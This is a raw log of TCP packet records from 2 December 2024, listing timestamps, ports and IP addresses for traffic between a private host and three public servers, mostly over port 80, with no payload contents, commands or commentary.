Dec 2, 2024 11:21:11.467999935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.468043089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.468103886 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.468197107 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.468267918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.468302965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.468554020 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.469523907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.469758034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.469772100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.469845057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.469878912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.469950914 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.470108986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.470612049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.470810890 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.470824957 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.470915079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.470947981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.471004963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.471179008 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.477457047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477538109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477575064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477649927 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.477731943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477778912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477788925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.477830887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477876902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477924109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.477929115 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.477967024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478012085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478055000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478085995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478096962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.478190899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.478190899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.478302002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478444099 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478475094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478488922 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.478539944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478641033 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.478728056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478734970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.478773117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.478879929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.479288101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479373932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479450941 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.479512930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479526997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.479562044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479605913 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479649067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479659081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.479695082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479739904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.479739904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.479882956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479928970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.479959011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480022907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.480074883 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.480142117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480185032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480215073 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480298042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.480298042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.480396032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480442047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480472088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480518103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480560064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480590105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.480607986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.480658054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.480710030 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.480854034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481014967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.481096029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481127977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481213093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481251955 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.481331110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481360912 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.481441021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481481075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.481503963 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481590033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481621027 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.481662989 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.481739998 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.481858015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482002974 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.482083082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482116938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482160091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482203960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482237101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482243061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.482295990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482309103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.482361078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482366085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.482403040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.482443094 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.482517958 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.483314991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483489037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.483608961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483652115 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483696938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483741999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483752966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.483794928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483838081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483845949 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.483900070 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483906031 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.483944893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.483975887 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484005928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484078884 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484141111 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484172106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484180927 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484231949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484286070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484342098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484375000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484389067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484435081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484481096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484513998 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484519005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484570980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484584093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484633923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484638929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484677076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484720945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484730005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484781981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484841108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484874964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.484879971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.484972954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485017061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485048056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485057116 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.485107899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485117912 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.485117912 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.485260963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.485388041 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485445023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485491037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485527992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.485548019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.485677004 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:13.848496914 CET	49752	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:13.848675966 CET	49754	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:14.170507908 CET	80	49752	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:14.170698881 CET	80	49754	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:14.170757055 CET	49752	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:14.170942068 CET	49754	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:14.171084881 CET	49754	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:14.493527889 CET	80	49754	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:14.497344971 CET	80	49754	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:14.497613907 CET	49754	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:14.498864889 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:14.499378920 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:14.831662893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:14.832055092 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:14.832396030 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:14.832746029 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:14.832876921 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:14.911360979 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:15.165900946 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166282892 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166337967 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166371107 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166596889 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166642904 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166672945 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166760921 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166780949 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.166836977 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166867018 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166945934 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.166995049 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.167038918 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.167082071 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.167109966 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.167342901 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.167377949 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.167450905 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.167609930 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.193064928 CET	10343	49756	51.195.138.197	192.168.11.20
Dec 2, 2024 11:21:15.193270922 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:15.193492889 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:15.476959944 CET	10343	49756	51.195.138.197	192.168.11.20
Dec 2, 2024 11:21:15.477205038 CET	10343	49756	51.195.138.197	192.168.11.20
Dec 2, 2024 11:21:15.477466106 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:15.479806900 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:15.500081062 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500282049 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.500319004 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500334978 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500349998 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500400066 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500411034 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500503063 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.500503063 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.500519991 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500567913 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500579119 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500612020 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.500690937 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.500690937 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.500858068 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500886917 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500897884 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.500912905 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501072884 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501087904 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501106977 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.501128912 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.501224995 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.501315117 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501338959 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501349926 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501364946 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501405954 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501481056 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501538038 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.501545906 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501616001 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.501745939 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.501765966 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501776934 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501833916 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501852989 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501863003 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501925945 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.501980066 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.502021074 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.502031088 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.502055883 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.502079010 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.502187967 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.762232065 CET	10343	49756	51.195.138.197	192.168.11.20
Dec 2, 2024 11:21:15.762248993 CET	10343	49756	51.195.138.197	192.168.11.20
Dec 2, 2024 11:21:15.762439013 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:15.772326946 CET	10343	49756	51.195.138.197	192.168.11.20
Dec 2, 2024 11:21:15.816654921 CET	49756	10343	192.168.11.20	51.195.138.197
Dec 2, 2024 11:21:15.834218025 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834252119 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834264040 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834280968 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834575891 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834590912 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834606886 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834711075 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.834781885 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834796906 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.834821939 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835114002 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835134029 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835144043 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835172892 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835273027 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835294008 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835321903 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835333109 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835347891 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835448980 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835527897 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835587025 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835597038 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835638046 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835722923 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835733891 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835771084 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835774899 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.835849047 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835944891 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835944891 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.835994959 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836011887 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836028099 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836041927 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836064100 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836167097 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836167097 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836225033 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836287975 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836302996 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836420059 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836421013 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836421013 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836569071 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836580038 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836591959 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836596012 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836730957 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836745977 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836745977 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836894989 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.836945057 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836961985 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.836980104 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837049961 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837065935 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837080002 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837104082 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837104082 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837152004 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837202072 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837202072 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837229013 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837244034 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837254047 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837376118 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837408066 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837598085 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837651968 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837662935 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837690115 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837706089 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837714911 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837737083 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837781906 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837781906 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837835073 CET	49755	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:15.837928057 CET	80	49755	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:15.837944031 CET	80	49755	31.41.244.11	192.168.11.20
